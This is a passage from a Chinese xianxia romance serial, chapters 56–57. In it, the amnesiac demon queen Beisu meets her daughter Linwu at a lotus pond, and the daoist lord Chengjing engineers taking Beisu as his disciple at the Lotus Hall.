嫉妒与恨意夹杂着说不清道不明的情感,在那一刻控制了身体,从那以后,雾漓像是变了个人,主动接近她,忍着恶心,说可以辅佐她。 只要她愿意。 天知道他说这些话时,忍得多困难,稍微放松,就忍不住掐住她的脖子,让她去死。 后来,他确实找到了能害死她的办法。 但被她逃脱了。 雾漓清楚地记得,见到她的第一面。 起初他也带着可怜她的念头,却在听到那群妖兽说的话后,这点微不足道的可怜,就没了。 “蛇族试了那么多次,终于生出一条强悍的血脉,妖王之位,不就是蛇族的了?” “现在的妖王雾海,实力本就不强,这位子让蛇族来坐,才是最佳选择。” “要我说,就该趁着这条蛇还没长好,直接杀了,将妖王之位牢牢握在手中,蛇族可是出了名的冷血无情,谁知道会不会等不到妖王传位,就想篡位。” “你说的对,若不是为了造出这条血脉,蛇族内部怎么可能会毫无节制地繁衍,还繁衍出了那么多没用的废物。” 雾漓听完这些话,悄无声息地离开。 走了没多远,瞧见一个女娃,身边都是没开智的野蛇。 她一个人坐在草地上,那些恶心的蛇爬到她身上,伸出蛇信子。 雾漓最讨厌的就是蛇,遇到北溯后,最讨厌的成了她。 从听到她的名字起,心中就种下了埋怨她的种子,他们注定无法成为朋友。 梦境消散,雾漓垂着头,神情迷茫。 疯癫过后,他好似忘记了自己是谁,只盯着一个方向,发出呓语。 成镜手中凝出莲花,莲花上蕴含的威能足以悄无声息地杀了雾漓。但这朵莲花在他手中凝聚又消散,消散又凝聚,始终没有推出去。 他该将雾漓留给北溯亲手来杀。 心中升起的愤怒又催动着他去杀了雾漓。 但死,是最痛快的解脱。 成镜掐灭莲花,抬眸打量这个堕成魔的妖。 他堕魔的原因很简单。 北溯被封印,凤鸣成为妖王后,他心有不甘,执拗地认为自己实力不够强,从没有仔细想过,只比他强了一点的凤鸣,能当上妖王的真正原因。 “她从未害过你。” 有人却对一个孩子产生了恶念,针对她,陷害她。 成镜对他说了最后一句话:“你们都配不上她。” 出了洞窟,他仰头望一颗星也无的夜空,胸口沉闷。 她六岁失去双亲,只能自己变得强大,才不会被欺负。 鳞舞不会被欺负,他不会让鳞舞再失去阿娘。 成镜掐诀,回到重莲殿,去了鳞舞那,却见灯还亮着。他算了时辰,这个时候她该是已经入睡才对。 敲了敲门,再推开,藕宝一下闪现,两只藕臂扑腾:“道君怎么来了?小主人很快就要睡了。” 里头传来窸窸窣窣声响,显然是见他突然来,匆忙收拾东西。 成镜迈开腿,直接从藕宝边上走过去。 藕宝两条短腿压根走不过他,只能冲鳞舞做了个祝你好运的眼神。 桌上乱七八糟放着一大堆东西,她小时候画的鬼画符,采摘的已经干枯的花,还有好些个丹药法器,全都堆着。 成镜一一看过去,视线最后定格在鳞舞身上,问:“这是在做什么?” 鳞舞心虚地抠自己手指,低了头,小声说:“我在收拾东西。” “为何不在白日收拾?” 鳞舞哆嗦了一下,更心虚了:“我睡觉前才想起来……” 成镜盯了她一会,没有再问,让她躺回去睡觉。 鳞舞松了一口气,小心翼翼瞅了老爹一眼,壮着胆子说:“我还没收拾好……” “我来。”成镜动手将压住的画抽出来,瞧见上头画的一家三口,视线停留了一会,才去收拾其他的鬼画符。 不过一会,桌上东西收拾得整整齐齐。 “睡吧。” 成镜给她掖好被角,看着她闭上眼入睡,才离开。 门被关上,寝殿内安静了好一会,才响起压抑的笑声。 鳞舞缩在被褥里,捂着嘴,控制不住自己的笑。 刚才差点忍不住,要是被老爹发现,她就没法悄悄见阿娘啦! 然而自己的女 儿什么性子,当爹的怎么可能不知道。 休息的时间突然整理东西,还将几岁时玩的东西翻出来,必然有异。 成镜直接将藕宝提过来,坐下后倒了杯茶,审问它。 “鳞舞晚上可去了什么地方?” 藕宝瞅了眼鳞舞寝殿的方向,直接“出卖”了她。 “晚上您走后,小主人去了莲池小屋。”藕宝说着,自己也激动起来:“鳞舞遇见了主母!” 成镜手中的茶盏碎裂。 居然错过了。 北溯刚出了道宗,就发现邪气指引的方位在道宗外,那就意味着成镜现在不在重莲殿。 她立刻改道去了莲池,正想仔细研究禁阵,水雾突然散开,走出来一个小娃娃和一个莲藕做的小人。 那小娃娃她见过,成镜的孩子,她还想抢走来着。 小姑娘眼睛红红的,应该是哭过,边上的小人在安慰她。 “舞宝别哭,道君也不是故意那么做的,你再等等,就能见到啦。” “可是我等不及了,我想现在就见嘛。” 小姑娘不高兴地嘟着嘴,走上塘埂。 她应该是太难过了,没什么精气神,和边上小人说着话,都没注意到自己走偏了,再走几步就要掉进池塘里。 北溯刚这么想,小姑娘的声音拉长,真就踩空了,眼看就要掉进去, 她没多想,直接去把小姑娘捞出来。 等自己被发现了,后知后觉想起了,她可以用法术啊。 不过救都救了,没什么好后悔的。 北溯拍拍她裙摆上的泥土,捏了下她的脸,笑道:“要看路知道吗,下次再掉进水里,可没这么好运遇见我。” 说完,手痒,再捏了捏小姑娘的脸蛋,手感很好,成镜还挺会养孩子。 她刚要走,却被小姑娘一把抱住,差点栽进水里。 小姑娘瞪着她,激动得话都不会说了:“阿阿阿阿阿阿——” 北溯重重揉了揉她脑袋,说:“啊什么?” 鳞舞激动得差点喊出来。 阿娘! 第56章 “嗯?”北溯顺手理了理她的麻花辫,“怎么不说话了?” 小姑娘嘴巴张得很大,双眼亮晶晶的,使劲抱着她,一个劲往怀里拱。 阿娘!是阿娘!活的阿娘! 鳞舞激动差点喊出来,幸好想起来老爹说的话,硬是忍着没喊。 老爹说她得装作没认出来,配合老爹把阿娘带到重莲殿,然后再想办法慢慢帮阿娘想起来。 好哦! 有我在,一定会成功的! 鳞舞忽然回神,在北溯怀里瞥了眼藕宝,眼神示意它不要坏事。 藕宝已经呆住了。 “谢谢你。” 鳞舞礼貌地说了声谢谢,眨着水汪汪红红的眼看阿娘,抱紧她:“我以后会小心哒。” 我才不呢!今天要是没有掉进水里,就不会见到阿娘啦! 谁叫爹爹晚上出去了,他见不到阿娘! “你……” 无数个称呼从脑海中闪过,鳞舞想不出来除了阿娘这个称呼,还有哪个更合适,有些难过。 为什么不能立刻相认呢?爹爹是不是想背着阿娘干坏事啊。 “我怎么了?” 小姑娘香香软软的,北溯没忍住捏了好几下。她在想,等事情结束,把小姑娘抢走带去妖界。反正人族杀了那么多妖兽,她只抢一个小姑娘,算是手下留情了。 “没什么没什么!”鳞舞脑袋摇得飞快,鬼鬼祟祟环视四周,看得北溯想笑。 “我叫舞宝!舞动的舞,宝宝的宝!” 她说完,眨了眨眼,满是期待地望着女子。 北溯没想到这么快就到交换姓名的环节,不过能给自己孩子起个带“宝”的名字,应该是很喜欢这个孩子吧。 “我呢,”北溯瞥了眼边上的莲藕,说:“我叫莲花。” 鳞舞好一会才眨了一下眼,煞有介事地点头,然后问:“是哪两个字呀?” 北溯随手一指莲池,道:“喏,就是里面长的莲花。” 鳞舞挠挠头,不懂为什么阿娘要换一个名字,但没有问。阿娘这么做一定是有她的道理的!我自己知道阿娘名字就行! “好哦!”鳞舞想了想,说:“那我要怎么叫你啊?” 北溯觉得话题越跑越远,本来自己只是趁着成镜不在,过来探探情况,没忍住拉了小姑娘一把,就发展成现在这样,好像有哪里不对劲? “你叫我花花。” 只是个称呼,她也不会一直待在道宗,待弄清楚自己身上发生了什么事,就会离开道宗,不会再和他们接触,随便叫吧。 “花花……”鳞舞喊了一声,笑弯了眼。她松开手臂,把藕宝拉过来,介绍给阿娘:“它叫藕宝,是爹爹用莲藕做的,它可聪明了,会做好多事!” 北溯目光转向这只藕,哦了一声,这年头莲藕也能成精了? 藕宝双手背在身后,紧张地手搓后背,蹭掉了好几块皮。 它小心翼翼瞄了眼面前的女子,一对上她犀利探究的目光,慌得立刻低头,还往鳞舞身后躲了躲。 北溯一瞧它害怕的模样,没什么兴趣地收回目光,她不吃藕。 方要说自己要走了,手被一把抓住,小姑娘贼兮兮又十分欣喜地拉着她往禁阵走。 鳞舞给自己找了个充分的理由带阿娘去自己寝殿那看看:“你刚刚救了我,我要报答你!” 北溯失笑:“那你跟我走怎么样?” 鳞舞一下就站定了,拉着阿娘的手使劲晃:“真的吗真的吗?” “假的。”这两个字一出,鳞舞失望地停了手。 北溯是没想到她居然真的一脸期待自己将她带走,心中腹诽,这道君带孩子也不靠谱,万一真有人图谋不轨要把小姑娘劫走……不过以他的实力,找到被抓的小姑娘还是很简单的。 “那你要不要去我那看看!”鳞舞重新振作起来,拉着她就往重莲殿走。 “我有好多东西,都可以送给你!” 鳞舞已经在心里乐开了花,要不是背对着她走,就要被发现自己在笑。 北溯没想到自己只是临时起意来重莲殿探查,就遇到这么好的机会,若不是看到小姑娘纯真的大眼睛,她都要怀疑这是个圈套。 成镜不在,这是个好机会,直接进去找到有他气息的东西,便可无视禁阵,直接进去。 水雾散开,浮于水面的水栈显现,一座殿台缓缓露出它的全貌,数间殿房交错排列,朦胧的月光洒下,远远瞧着,宛如仙境。 北溯被拉着踏上水栈,池水掀起涟漪,周遭寂静,仅有她们踏在水栈上的啪嗒脚步声,与鳞舞欢快的讲解音。 “最中间最大的是大殿,我爹爹平日里就在这里打坐修炼,右边是他的寝殿,他晚上也会在寝殿里修炼。” “再右边就是我的寝殿啦!” 北溯不动声色地打量,在左侧感知到禁阵的气息,余光一扫,那是个没有窗,还被锁着的殿房。 没能多看两眼,人被拉进寝殿内。一眼望去,处处温馨。 这间寝殿应是特地布置过,装饰品颜色清新亮丽,很符合小姑娘这个年龄段的喜好。 被拉到桌边,小姑娘松开她,跑到里头的柜子那,匆匆扫了眼,一把把东西全都捧着放到桌上,献宝似地拿出来。 “这个!爹爹之前炼制的丹药,可以疗伤!” “这个!是爹爹种的莲花,我想在它身上用驻颜术的,好像不是很成功。” 北溯接过来,花瓣已经干枯,里面的花蕊还是鲜嫩的,“再练练就可以了。” “真的?”鳞舞高兴了,决定以后要好好修炼,阿娘一定会夸她的! “这个这个,”鳞舞得意地把自己之前画的画拿出来,摆在阿娘面前,期待她能看出来。 北溯只看到了与小屋里一模一样的鬼画符,瞅了好一会,辨认出来这应该是三个人。 心口莫名剧烈跳了一下,她随口说了一句画的不错,去看别的。 鳞舞已经在这句“画的不错”中忘乎所以,满脑子都是阿娘夸我了!阿娘说我画的好! 那我以后多画点! 看完了小姑娘的珍宝,北溯正要找机会搜查含有成镜气息的东西,小姑娘直接把这东西塞到她手里。 “这个丹药给你,修炼很辛苦,还会受伤,你拿着,可以疗伤!” 这丹药蕴含着成镜的气息,北溯想了想,收下了,下次有机会,再还给小姑娘同等价值的丹药。 “我要走了。” 鳞舞啊了一声,下意识拉住她的手。 “那你还会再来吗?” 北溯捏了捏她的脸,将她嘴角往上扬,道:“有机会会来的。” 说着,她对小姑娘比了个嘘的手势,压低声音,说:“不要告诉你爹我来过。” 见小姑娘不解,耷拉着脑袋,一副失落的样子,她揉了揉小姑娘脑袋,说:“这是我们之间的秘密,谁也不能告诉。” 鳞舞立刻点头,对藕宝凶巴巴地说:“你也不能说!” 藕宝头点得如捣蒜泥,立刻说:“我不会说的!” 结果它一被审问就什么都抖出来。 “什么时候走的?”成镜将茶盏复原,没有再倒,莲花花瓣散开,在重莲殿内搜寻了一圈,没有感知到她存留的气息。思及她格外厉害的敛息术,微微蹙眉,很快舒展开来。 “刚离开不到半个时辰。” “嗯。”成镜起身,瞥向藕宝,道:“你只当没有告诉我。” 藕宝诧异。 “日后她再来——”成镜再次蹙眉,话音一顿,换了个说辞:“她若是再来寻鳞舞,不用阻拦。” “她们之间发生的一切,你要如实告知于我。” 藕宝仔细想了想,觉得自己在当双面间谍。 走到殿外,再一瞧弯月,成镜微微笑了笑。这轮弯月,该圆了。 北溯回到客舍休息,客舍一整晚没有安静过,深夜回来的修士进进出出,动静很大,有人抱怨,有人睡不着,去看热闹。 她躺在床上睁着眼,边上的裴兰翻了好几次身,显然在关注外头的动静。 第二日北溯在她问自己话前出了屋子,直奔供给处。 选拔比试时限三日,提前出来的可自行在一重山内活动,北溯打算找个合适的机会去妖界一趟,见见现在的妖王。 白日里她又去了训练场,这次成镜和小姑娘都没来,只有几个执事在看。 那她就没有必要一直留在训练场,正好去妖界。 夜幕降临,北溯再次穿过护宗大阵,朝着妖界而去。 莲池中水雾散开,一道青色身影走出水雾,步入凉亭。 他一身浅色青衫,脑后红色发带飘扬,绣着金纹的衣领微松,流畅的脖颈线条没入衣领中,腰封勾勒出他劲瘦有力的腰身。 远远望去,一道挺拔的身影静立凉亭之中,长身玉立,气质出尘,他脚下的莲花印带着荧光,远远看去,如梦如幻。 成镜站了会,若无其事地走出去,沿着塘埂撒下莲子,莲池内莲叶吸收到灵力,生长得更快。 或许没过多久,这里便能莲花盛开。 待成镜撒完一趟,周围还是一片寂静。 他去了小屋里坐了会,再出来,又撒了一遍,步入凉亭中,依旧寂静。 待瞧见天际显露旭日,成镜转身,步入水雾内。 今晚,她没有来。 北溯跑去妖界了。 她先叫了那只鸟问话:“妖王雾海怎么死的?” 小鸟说不知道:“那都是好几百年前的事了,我只会背妖王名字,哪知道他们怎么死的,你可以找厉害的妖兽问。” 北溯又问:“妖王北溯死了十年了?” 小鸟点头:“对的,现在的妖王是上一任妖王凤鸣死后才继任的,也只有十年时间。” “那雾漓呢?” 小鸟仔细想了想,说:“他的事我知道的就更少了,好像是堕魔了。” 北溯没有直接暴露自己的身份,从小鸟那得到信息,自己死时只有凤鸣来了,不知这些年里自己与他们、妖界都发生了什么,冒然暴露,对她不利。 她再次换了张脸,混入值守的妖兽中,没想到自己都已经“死”了,还被惦记着。 “邪神一死,人族还真就安分了,早知道这样,当初就该直接将她交出去。” 北溯在边上听着,挑了眉,这是个恨她的。 她在边上插一句:“是该将她交出去,不过她怎么就成了人族都喊打喊杀的邪神?她有这么厉害?” 那妖兽眯眼打量她,哼笑一声:“她当然厉害了,不然怎么当得上妖王,还能大闹昆仑,激怒昆仑仙尊,被追杀数月。” 北溯惊叹地哦了一声,继续听他说。 “也不知道她怎么变得这么厉害,怎么变成邪神的。我记得当初她想攻破人皇城,威胁人皇,结果被人族修士击溃,被昆仑抓走,还能逃出来,这本事是真厉害。” 他说的时候,艳羡之意极浓。 “确实,我活得也挺久了,她好些个法术我见都没见过。” 北溯从他们话里找到几个自己之前发现的问题。 所以她用的敛息术,应是自己从别处学来的,还有好些个法术,虽然没有学习的记忆,却能直接用出来,且很熟练。 “嘿,你个老龟,苟活了几百年,这都不知道,真没用。” 老龟一巴掌拍过去,拍得那妖兽脑瓜子嗡嗡:“你这条眼瞎的老狼,好意思说我,天天念叨邪神,我看你是眼热人家厉害,能当妖王。” “我呸!她再厉害还不是死了。要不是她乱搞,妖界几乎覆灭,我们也不会变成现在这个样子!说不定就能灭了人族,称霸三界!” 北溯看向老狼,再疑惑看自己,妖界在她手中被摧毁了?攻打人皇城失败反被围攻,她为何会做出这种决策? 她现在很想去问黎衣白,在自己昏迷后,都发生了什么,自己怎么会做这些事。 “你别说,要是那次她成功了,我们应该也早就收服人界,那还要遵守那什么鬼和平协议。” 两只妖兽对视一眼,同时叹气。 他们将目光转向北溯,狐疑看她:“今晚值守苍岩山的怎么还多了一个?你叫什么名字?” 北溯将被自己打晕的那只妖兽名字报出来:“慕青。” “哦对,今晚确实是安排了个叫慕青的来巡逻。”老狼盯着她,“你觉得邪神怎么样?” 北溯仔细思考,回了句:“我不太了解她。” 她现在所知道的,是刚步入战场,与人族厮杀的妖兽北溯,而不是摧毁妖界的邪神。 他们俩又对视一眼,齐齐盯着她,打开话茬子:“这么说吧,她是三界最强。” 老龟补了一句:“现在应该不是了,人族那个道君厉害的很,据说是一直压着不飞升,反正现在的妖王黎衣白打不过他。” 北溯好奇:“那道君怎么不去杀邪神?” 老狼哎呦一声,环顾四周,见没有其他妖兽,压低声音:“我听说 啊,我是听说的啊,不知道真假。” “邪神与昆仑仙尊同归于尽的那晚上,有人看到这个道君出现在魔界与人界交界处。” “同归于尽?魔界?” 老龟一拍大腿,插话:“可不嘛!昆仑的仙尊被邪神杀了,她自己也死了,那不就是同归于尽?” “不过也确实奇怪,她好好的干嘛去魔界,不过她去魔界也好,死的都是魔族,我们妖族还躲过一劫。” “成镜又为何去魔界?” 老狼哼了一声,说:“谁知道呢,可能是想去杀邪神呗。当初道宗可是聚集了千百名修士去魔界杀邪神,他怎么可能不去。” 北溯没有再说话。 那个叫镜成的男修说的却是成镜没有杀她。 且不管是妖族还是人族,话里都没有成镜与她交锋的信息,极有可能,镜成说的话是真的,成镜去魔界也是真的。 有人目睹过他在魔界出现过,再之后,便在道宗宣布不可入侵妖魔两界。 所以他极有可能看到了什么,才会做出那样的决定。 北溯没了再去问黎衣白的心思。 这个两只妖兽又说她后来独来独往,成了邪神后又被封印在黑水三百年,出来就死了,也什么有用信息。 兜兜转转,还是得回去问成镜。 弄清自己为何在离开黑水后去魔界,再弄清自己是怎么成为邪神的。 三日过去,一共六百八十块令牌被找到,没有找到的被护送回去。道宗将这六百八十名修士全都收下,让他们休息了一日,再进行拜师大典。 北溯没有再去重莲殿,邪气指向的方向一直在东面,成镜没有离开过。以她现在的修为,冒然去问,只会被当做入侵的妖兽抓住。 她得快些想法子将修为提升上来。 拜师大典的那天,训练场上的人少了大半。 北溯依旧站在末尾,看着那一排排执事,再一看坐在前方的长老,没有成镜。 他不收徒。 若是他要收徒,自己还能想想办法挤到他手下,这样就方便她探查重莲殿,也不用偷偷摸摸的。 不知是自己这个念头被听见了,长老刚要喊拜师大典开始,高台上浮现一朵莲花,一股令人心旷神怡的清香随风拂过,轻轻一嗅,只觉得自己这些日子的疲倦一扫而空。 北溯诧异地望过去,瞥见男人正侧身与边上的长老说着什么。 鲜红的发带随着发丝微荡,他侧身而立,浅青色身影在一众深绿深蓝深紫的身影中尤为突出。 很清新很夺目的夏日清爽的颜色,叫人看了心身放松。 北溯多了看几眼,视线定格在他刀削般的下颚线上,视线里忽然撞进来浅色薄唇,唇微张,在说着话。 “唔……”视线往下,落到他紧窄的腰线上,又多看了几眼。 上次不是穿白衣么,这次换了件青色的? 不过也挺好看。 美人养眼,北溯心情好了许多,听着周围人群的惊叹,想起妖兽说的话。 成镜出现在魔界与他渡劫是同一天,他又为何没有渡劫成功? 思绪又飘到他身上,不知何时,他转身面对训练场上的修士,眸子扫视,平等地看这里所有人。 北溯觉得应该是与他对视上了,但他没什么波动地移开,像是他不是在看这群修士,在看空气。 北溯不高兴了,空气有什么好看的。 她直接盯着他看,注意到他额间的莲花印记,那是个开了两片花瓣的莲花,银色的,还挺好看。 视线往下,对上他看向别处的眼。眼睫毛也挺长的,还挺浓密,不过很直,应该会戳手。 鼻梁很高,北溯好像在哪听过,鼻梁高的欲望都很强。 唔…… 北溯直直望着他抿着的唇,思绪被成功带偏。怎么会有人哪哪都长得很符合她心意呢…… 自己成为邪神时,就没有对他做些什么吗? 许是她的目光太强烈,成镜微微偏头,望了过来。 对上双眼的瞬间,北溯在他眼底看到了狂躁的波动,像是野兽冲撞铁笼,嘶吼着。 不对劲。 北溯往边上挪了一步,让前面的人挡住自己。 “我要告诉诸位一个天大好消息!”星峦激动道。 北溯再看过去时,成镜已经没有再看此处了,但他看过来的眼神依旧极为清晰地在脑海中浮现,有一种自己被什么阴湿凶猛的东西盯上了的感觉,令她后背发凉。 他不会是发现她去了重莲殿吧? 若是发现了,不该等到现在才来抓她。 星峦的声音盖住她的思绪:“道君今日来此,便是为了收徒!” 他的话说完,全场寂静,随后爆发出热烈的欢呼。 “道君居然要收徒!” “选我选我!我什么都能做!” “选我!我已经是入灵境,很快就能晋级到聚灵境!我还会炼制丹药!” 修士一哄而上,挤在高台下,恨不得爬上去到成镜面前说。 北溯还在想他为何会收徒,片刻功夫,前面后面的人全跑到高台下,她要是不去,就显得很奇怪。 跑了几步,在人群后装模作样地喊了一声:“选我选我!” 这句话说完,心有所感地抬头望去,仰起的视线中对上男人垂下的眼眸。 他纤长的睫羽微颤动,遮住双眸,叫人看不出他眼底情绪。 北溯亲眼看着他走到高台边缘,朝她伸手。 “你叫什么名字?” 北溯:不会真选她吧? 第57章 全场寂静,无数双眼齐齐看向最后方的女子,震惊过后,各种打量。 人挺高挑,高马尾,面容清秀,一身黑衣,瞧着利落的很,就是吧,看着有点凶。 被这么多人盯着,北溯压抑着的杀意险些要冲出来。以往见到这么多人她早就上去杀了,现在在人族地界,还得忍着。 被道君问到名字,一般人早就回答了,她却直视着成镜,反问他:“你是在问我吗?” “这人谁啊,语气好拽。” “她不说让我说,我来说!” 高台之上的男人垂眸,凝望这张陌生的脸,她的语气却是熟悉的,曾经让他恨得想杀了她,现在,更想了。 他都站在她面前,她还是这副不认识他的表情。 真是让人恨不得立刻把她脑子打开,将以前的一切全都塞进去,让她想起来。 但不行。 脑袋开了,她就死了。 成镜顿了有一会,才应了声:“是你。” 训练场一片哗然,皆是看着她,有人惊讶,有人怀疑,有人羡慕。 北溯想了想,回了个名字:“裴溯。” 刚说完,就听见他说了声好,随后又道:“随我走吧。” 北溯:“?”这么快就走? 不止她一个人疑惑,修士全都嚷着为什么会收她,这看起来就是随便找个人收徒,一点都不合理。 就连星峦长老也觉得不妥。 “道君若是要收徒,不再比试一番?这就收了个弟子,是否太过……”星峦找了个听起来不那么冒犯的措辞:“是否太过仓促了?” “对啊!这也太仓促了,我们都不知道道君要收弟子。” “早知道他要收,我就表现得好点了……” 他们将艳羡的目光再次投向北溯,里头还有埋怨的。 北溯也不知道他会突然招收弟子,偏就选到自己?有这么巧? 她瞧着连接自己与他的邪气,心知这不可能是巧合。但既然他已经邀请,那就没有拒绝的道理,今后便可正大光明地接近他,查清一切。 北溯刚要说好,一道女声响起,高台上来了一人,正是天綪。 “道君怎么未告知我你要收徒?” 她一来,底下的人都不说话了,往后退了好几步,北溯没动,这次她倒是成了最前面的。 “我收徒,需要告知你?”成镜没有看天綪,视线一直在底下的女子身上。 以成镜在道宗的地位,想不想收徒,确实不用告诉旁人,但也正是因为他的身份不一般,一举一动都会被外界格外关注,必须要慎重。 天綪不是不让他收徒,只是不想以这种随便指个人就收的方式。 “道君若是要收徒,可加试一场,再从中选出优秀者,这样您也好教一些。” 北溯抬头久了,脖颈有点酸,低头转了两圈脑袋,没再抬头看。 她的动作被成镜收进眼底,抬眼望向天綪,看了她一会,抬手,指尖一勾,一块玉牌从底下升起,落到成镜手中。 北溯一摸自己腰间,放玉牌的位置空了。再一想成镜直接问自己名字,以及二重山里遇到那个镜成,哪还有什么想不明白的。 她这是被这个男人算计了。 “我已提前设了考验,这块玉牌乃我投入二重山中,谁能寻到,便会成为我的弟子。” 北溯想了想,这玩意好像是她无意间捡到的…… 天綪拿了玉牌,上头确实有他的气息,转头再看底下的女子,蹙眉看了好一会,才将玉牌还给成镜。 “既然道君早有安排,那我便不干涉了。”她说完,却没有立刻走,扫视底下通过选 拔的修士,又道:“道君只收一名弟子?” 此话一出,修士们心中升起期待,期盼道君再多收一个,最好那个就是自己。 但成镜一句话就将他们的期望熄灭。 “一人足以。” 成镜转眸对上北溯的眼,眸光一闪,朝她道:“随我去重莲殿。” 北溯刚眨了眼,眼前高台消失,被宫殿取代。晚上看得不大清楚,白日里一见,只觉得冷清。 地方太大,人太少。 青色身影显现,成镜背对着她,往前走,声音淡淡:“日后你便在重莲殿住下。” “除了主殿及主殿右侧两处寝殿不可用,你可以随意选一间作为寝殿。” 北溯哦了一声,装作没来过,好奇打量,成镜往右走,她却是往左。脚步在一间锁上的殿房前停下,歪头朝不远处的男人道:“我要这间。” 听到她的声音,成镜转身看过来,瞧见她指着的是囚牢后,身子几不可查地颤了一下,随即冷声道:“那是囚牢,专门关图谋不轨之人。” 北溯哦了一声,遗憾地看了一眼。不过她也是对成镜抱有不轨之心,日后该不会是也要被关进去? “换一间。”成镜在原地等她。 北溯往后看,囚牢已经是最边上,再往左走就是水,没有房间了。 “好吧。” 她只是想借机知道这间房为什么会锁,方才成镜说话的语气和表情很淡定,应该确实如他所说,是个囚牢。 北溯朝成镜走去,距离他几米时,他转过身,往前走。 背对她的瞬间,成镜身子只放松了片刻,感知到身后注视的视线,下意识紧绷。 北溯确实在看他,这么近的距离,清晰可见他发丝飘扬的弧度。 不知是不是自己的错觉,他现在看着比在高台上更好接近了些,没了那份清冷,倒是有种说不出的…… 北溯低头,再一看,发现他是赤着脚的,每走一步,脚下生莲。 那莲花竟然是立体的,没过一会就会消散。 快步跟上去,拉近距离,趁着莲花还没消散踩上去。没什么感觉,踩了一脚空气。 她迅速靠近的脚步声被成镜捕捉到,以为她要做些什么,脚步放缓,等了一会,又不见她动手,一感知,发现她在自己身后隔了一段距离停下,没有再靠近。 成镜微微动了动手,指尖灵力闪过,风从前方刮来,掀起他的发丝。 迷了北溯的眼。 北溯闭上眼,莲花的清香随着他的发一起扫过脸颊,还有莫名其妙刮起来的风。 真奇怪。 她往后退,与成镜保持安全距离,以免被他头发再打到,一转头就见鳞舞的寝殿,门开着,里头安安静静,没人在。 小姑娘怎么不在? “这是舞宝的寝殿。” 北溯哦了一声,随口问:“那你的呢?”她知道左边那间就是他的,舞宝说过,这么问似乎没什么问题,但又有很大问题。 成镜脚步顿住,转身看她。 这张脸,还是太陌生。 “你身后那间便是。” 北溯配合地回头看了眼,门是关着的,打开的窗户倒是很大,这人真是奇怪,开这么大的窗,却要关着门。 极宽大的床对着窗户,床上什么东西没有,寝殿内也简洁得没什么陈设。 收回目光,一转眼对上成镜漆黑的眸,那一瞬间,她好似在他眼底看了极为隐蔽的期待。 再看过去时,眼底已经看不出什么情绪。 眉心的莲花印记确实将他衬托得如谪仙,但她总觉得这只是他表面的样子,这副清冷无所求的壳子底下,藏着不为人知的疯狂。 他留下的痕迹太明显,又或是故意在她面前留下蛛丝马迹,叫她去拆穿。 正巧,她也不是个喜欢藏着掖着的人,既然算计她当他的弟子,那就没必要再绕弯子,被她抓到机会,就不会放过他。 她对成镜露出笑,扬起唇,说:“那我选舞宝边上那间房,可以吗,师尊?” “师尊”二字加重了音量,刻意强调。 成镜看了她好一会,看出那笑并非是纯粹的,但他还是有一瞬间的恍惚。直到听见她喊的那声“师尊”,蹙起眉头,声音冷了下来:“不要叫我师尊。” “嗯?”北溯朝他走近一步,仰头问他:“不叫师尊?那叫什么?” 成镜垂了眼帘,忽然不敢看她。 “叫道君吗?”北溯重新念了一遍,语调上挑:“道君?” 成镜呼吸一滞,抬起眼。这样的语气太过熟悉,将他拉回被她囚禁的日日夜夜,每次她只唤他道君,从不喊他的名字。 他抑制着被她短短一句话勾起的汹涌情绪,压着嗓子说了一句:“这么叫便可。” 他转身,继续往前,不过片刻,她的声音再起。 “道君要去哪?已经到了我选的那间寝殿。” 成镜身子一僵,视线里是隔了好几间的空屋,再往前,就到底了。 他朝那间屋子里看了会,才转身往回走,声音依旧压得很低:“已经选定,不可再更改。”他直接忽略北溯说的前一句话。 北溯没想改,离他越近越好。 中间隔了个舞宝,也还行,不远。 门是关着的,她又问:“我直接推开还是需要你开门?” “直接推开。” 两人一问一答,气氛怪异,怎么看也不像是师徒。弟子不会敬语也不加地对师尊说话,师尊也不会一直盯着徒弟看。 两人心里都有自己的心思,没发现自己的异常。 门开了,里头摆设和成镜寝殿几乎一样,连窗户的位置都一样。一进去,莲香扑面而来,中央的桌上插着朵盛开的莲花,花瓶透明,能看到里头的莲梗。 她走过去拨弄了一下莲花,头也不转,问:“这里的房间都会摆上莲花?” 成镜嗯了一声,静静凝望着她的背影,身子渐渐放松下来。 女子扎了马尾,发尾蓬松,遮住后背,随着弯下的身子而倾散。几次见到她,穿的都是黑衣,之前她穿的是道宗外门弟子服,今后她便要换了这身黑衣。 “我听说重莲殿外有一池塘的莲花,不知道现在开了没有。” 北溯当然是见过的,那晚去只有一池子莲叶,这花哪来的。 身后传来男人的声音:“已经开了。” “嗯?”北溯诧异地转身,“那我可以看看吗?” 成镜嗯了一声,转身往外走。 北溯莫名笑了一下,没说现在就去,他倒是直接答应了,不过去看看也没什么。 跟着成镜走上水栈,北溯又一次走在他身后,红色发带这次乖乖与发丝一起垂着,没有再动。 他的发不知怎么养的,柔顺富有光泽,乌黑发亮。北溯再看看自己的,也黑得发亮。 水栈上缓缓走过两道身影,水栈不长,以往成镜只需片刻便能走到头,这次走了许久,才走到一半。 北溯走得很慢,她的速度取决于成镜的速度,他走得慢,她也得慢。 不过注意力都在这个男人身上,没注意到他的速度慢得有些异常了。 走在前面的男人垂眸,瞧着水中倒影,水波荡漾,他与她的倒影在水中交缠,彼此不分。眼眸中似乎生出了笑意,很快被 冷意取代,最终归于平静。 水雾打开,凉亭显现,浓郁的莲香扑鼻,莲池内盛开的莲花满满,花瓣不是纯粹的白,粉红晕染开来,轻轻摇晃。 男人走进凉亭,站到边上,没有再说话。 北溯其实对长在水里的莲花没什么兴趣,想到舞宝说的那两节藕,问:“池塘里会长藕的吧?” 成镜偏头瞧着遍布池塘的莲花,轻轻嗯了一声。顿了顿,说:“莲藕与莲子有治疗伤势的功效,日后你若是受伤,可直接服用。” “磨成粉可以吗?” 成镜一顿,蓦地看她。 记忆复苏,他想起见到她的第一面,就是让她将这里的藕磨成粉,送到凉亭。不过他没有收到藕粉,被她囚禁了。 心神一动,他开口道:“我既收你为徒,便要担负起责任。将左侧十块莲池内的藕挖出来,磨成粉,再交与我。” 北溯皱眉。 “时限三天。” 北溯眉头皱得更紧了,她欲言又止,还是问了出来:“给舞宝喝的?” 成镜心口一挑,别开眼,没有看她,含糊地嗯了一声。 眉头舒展开来,北溯应下任务,说了声:“三日后我会完成。”现在她想去寝殿看看里头都有什么东西,再想办法在成镜那套问些信息,尤其是这股邪气。 她掉头就往水栈上走。 成镜听到她的脚步声,转身看过去。 每次只有她背对自己时,他才敢这般放肆地看她,不怕被她发现自己的异样。 成镜觉得自己在某种程度上,尤为可笑。 明明已经发现侮辱自己的人,却迟迟没有下手,还费尽心思想了个正当理由将她抓到自己身边,还得给她准备寝殿。 真可笑。 